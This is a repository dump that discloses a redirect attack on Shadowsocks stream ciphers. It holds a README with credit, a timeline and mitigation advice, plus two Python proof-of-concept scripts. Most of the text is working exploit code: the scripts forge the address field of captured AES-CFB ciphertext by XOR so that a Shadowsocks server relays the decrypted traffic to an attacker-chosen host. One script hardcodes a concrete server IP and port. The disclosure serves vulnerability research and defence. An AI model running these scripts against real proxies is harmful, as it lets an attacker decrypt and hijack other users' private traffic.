├── README.md ├── Redirect attack on Shadowsocks stream ciphers.pdf ├── attack2_with_https_pocket.py └── attack_with_http_pocket.py /README.md: -------------------------------------------------------------------------------- 1 | # Redirect attack on Shadowsocks stream ciphers 2 | 3 | Shadowsocks is a secure split proxy loosely based on SOCKS5. It’s widely used in china. 4 | I found a vulnerability in shadowsocks protocol which break the confidentiality of 5 | shadowsocks stream cipher. A passive attacker can easily decrypt all the encrypted shadowsocks packet using our redirect attack. Even more, a man-in-the-middle attacker can modify traffic in real time like there is no encryption at all. 6 | 7 | Details of the attack can be found in the pdf. And a POC can be found in the python code. 8 | 9 | ## Vulnerable versions 10 | shadowsocks-py, shadowsocoks-go, shadowsocoks-nodejs 11 | 12 | ## Suggestions 13 | Do not use : shadowsocks-py, shadowsocoks-go, shadowsocoks-nodejs. 14 | 15 | Only Use: shadowsocks-libev, go-shadowsocks2 and only use the AEAD ciphers 16 | 17 | ## Credit 18 | Zhiniang Peng (@edwardzpeng) of Qihoo 360 Core Security 19 | 20 | ## Timeline 21 | 28/12/2018: Vulnerability found 22 | 23 | 26/01/2019: Technique details upload 24 | 25 | 26/03/2019: POC upload 26 | 27 | 12/02/2020: Published 28 | -------------------------------------------------------------------------------- /Redirect attack on Shadowsocks stream ciphers.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/edwardzpeng/shadowsocks/ba5df18abf6792d0599c36a9e6c3398e7d0c1fd8/Redirect attack on Shadowsocks stream ciphers.pdf -------------------------------------------------------------------------------- /attack2_with_https_pocket.py: -------------------------------------------------------------------------------- 1 | import time 2 | def xor(s1,s2): 3 | n=len(s1) 4 | r='' 5 | for i in range(n): 6 | r+=chr(ord(s1[i])^ord(s2[i])) 7 | return r 8 | method='aes-256-cfb' 9 | def up(c): 10 | l=16-len(c)%16 11 | c=c+'\x00'*l 12 | return c 13 | #c is a capture http packet. 14 | c='b338f754455478c1fdb1dc11f300050ce303ea8d9bdfdd2afa64cf257184c0e79f1b10f528abaa' 15 | c=c.decode('hex') 16 | c=up(c) 17 | c1='8a6db90928015d006b6f1998dcc71e19a25e201ca2a2560dc99ccfa48e8d300723af80bbbf2ecfb154c3fa67c05450874c279efe990fe85a516e1d25a94cf4848997a8ecfb0b339f7e50f805fb79ab97c370fab07751da5e72059fd28a5977635400e7d87d1dd69ca5bfc6af3f9b41bd07062365ad4cf1feef7eeb5d79ec0f1c6b1f2c62489cd319fa1138dd271aea22747463ae3e1aa5e2aea6ec519715431cd6b94ca1677878eb3ab5436b04f505b4aeb73f46bb8a665d4bc9d7d6eff180fabbd8e1f052876f48bfa48ba63c2941eaec73f72593572d8d1125e2b0fbd327d99c1e54921fe70007a0fcfdc174cba65ba1984f44f8f78bd372e0f8aa09c65e0189e587b1875e791a583830d02e5d25067e1932743cc889dd5efe73fa3b034668cb7970cf344a557e82bc3bfdb669943586cb14a5c0baded64eb4388b5df920db87006ac2341c8cb40a6c4b4cfff6de0851e6dee1527556a2cbfff423051856120e1533d53cefa468577dbda680f4a29fab203dc1b4072ae0bd48810b5ec3d9830ecad310c7ee63bb6c10aa1a9e8718b2b6b1a651a8f65649604258b1ed508928c4259c35496c9eeb6c924891101212c1f73d254d843322863f00af45743b674eb34c1a28abc74e7373d6376ebeff346ec7e1b8698a2cb812a64b00c24ada0df99d76241916c093e0d03bbf6ffff8463db25b52e75c2dbcc5a80ccc203d052eec6b9a3043dc5667cf3fbaeebe8d2d20c767b77b51c64bc73a706f16f6a2b851e24d99b1ec66bfec' 18 | c=c+c1.decode('hex') 19 | prefix_http='HTTP/1.' 20 | prefix_https_send='\x16\x03\x01\x02\x00\x01\x00' 21 | #targetIP='\x01\xc0\xa8\x01\x03\x12\x12'# malicous target IP address: 192.168.1.3:4626 22 | #targetIP='\x01\x23\xbd\xa0\x6b\x1f\x90' 23 | import socket 24 | y=c[16:16+7] 25 | serverip="13.70.25.143" 26 | serverport=8080 27 | targetIP='\x01\x2f\x34\xab\x43\x12\x12' 28 | for i in range(60,120,1): 29 | prefix_https_recv='\x16\x03\x03\x01'+chr(i)+'\x02\x00' 30 | x=xor(prefix_https_recv,targetIP) 31 | z=xor(x,y) 32 | cipertext=c[0:16]+z+c[16+7:] 33 | obj = socket.socket() 34 | obj.connect((serverip,serverport))# ss-server is running on 192.168.1.2:8899 35 | print (i) 36 | obj.send(cipertext)# send the payload to construct a redirect tunnel 37 | time.sleep(0.2) 38 | for i in range(0,0,1): 39 | prefix_https_recv='\x16\x03\x03\x00'+chr(i)+'\x02\x00' 40 | x=xor(prefix_https_recv,targetIP) 41 | z=xor(x,y) 42 | cipertext=c[0:16]+z+c[16+7:] 43 | obj = socket.socket() 44 | obj.connect((serverip,serverport))# ss-server is running on 192.168.1.2:8899 45 | print (i) 46 | obj.send(cipertext)# send the payload to construct a redirect tunnel 47 | time.sleep(0.2) 48 | -------------------------------------------------------------------------------- /attack_with_http_pocket.py: -------------------------------------------------------------------------------- 1 | import encrypt 2 | from encrypt import Encryptor 3 | def xor(s1,s2): 4 | n=len(s1) 5 | r='' 6 | for i in range(n): 7 | r+=chr(ord(s1[i])^ord(s2[i])) 8 | return r 9 | method='aes-256-cfb' 10 | def up(c): 11 | l=16-len(c)%16 12 | c=c+'\x00'*l 13 | return c 14 | #c is a capture http packet. 15 | c='57122435b0ab1e28db5e59f49f5510dc7196c0cba5e6119eb8cf293210522da840b1360e7b0727122e90bb9c474f586574742fdbc5bc6ca39d8f79afefc21db6a3dbf263d6116260dd7f763691b105091ce07e8f98e9215639099c0912defd608c8c0da1e9ce4f6127a933e60833a953c1ace7f7c6589ad0f7cf1347e2967699cfb70a9a9b6114f13454f49472793504f1487b0ff73604fe0fd82ae92b8ca082fc8ca978303da066edda40e6' 16 | c=c.decode('hex') 17 | #c=up(c) 18 | prefix_http='HTTP/1.' 19 | prefix_https_recv='\x16\x03\x03\x00\x8d\x02\x00' 20 | prefix_https_send='\x16\x03\x01\x02\x00\x01\x00' 21 | #targetIP='\x01\xc0\xa8\x01\x03\x12\x12'# malicous target IP address: 192.168.1.3:4626 22 | #targetIP='\x01\x23\xbd\xa0\x6b\x1f\x90' 23 | targetIP='\x01\x2f\x34\xab\x43\x12\x12' 24 | x=xor(prefix_https_recv,targetIP) 25 | y=c[16:16+7] 26 | z=xor(x,y) 27 | cipertext=c[0:16]+z+c[16+7:] 28 | import socket 29 | obj = socket.socket() 30 | print ("begin\n") 31 | obj.connect(("ip",8080))# ss-server is running on 192.168.1.2:8899 32 | obj.send(cipertext)# send the payload to construct a redirect tunnel 33 | buf=obj.recv(1024) 34 | 35 | 36 | --------------------------------------------------------------------------------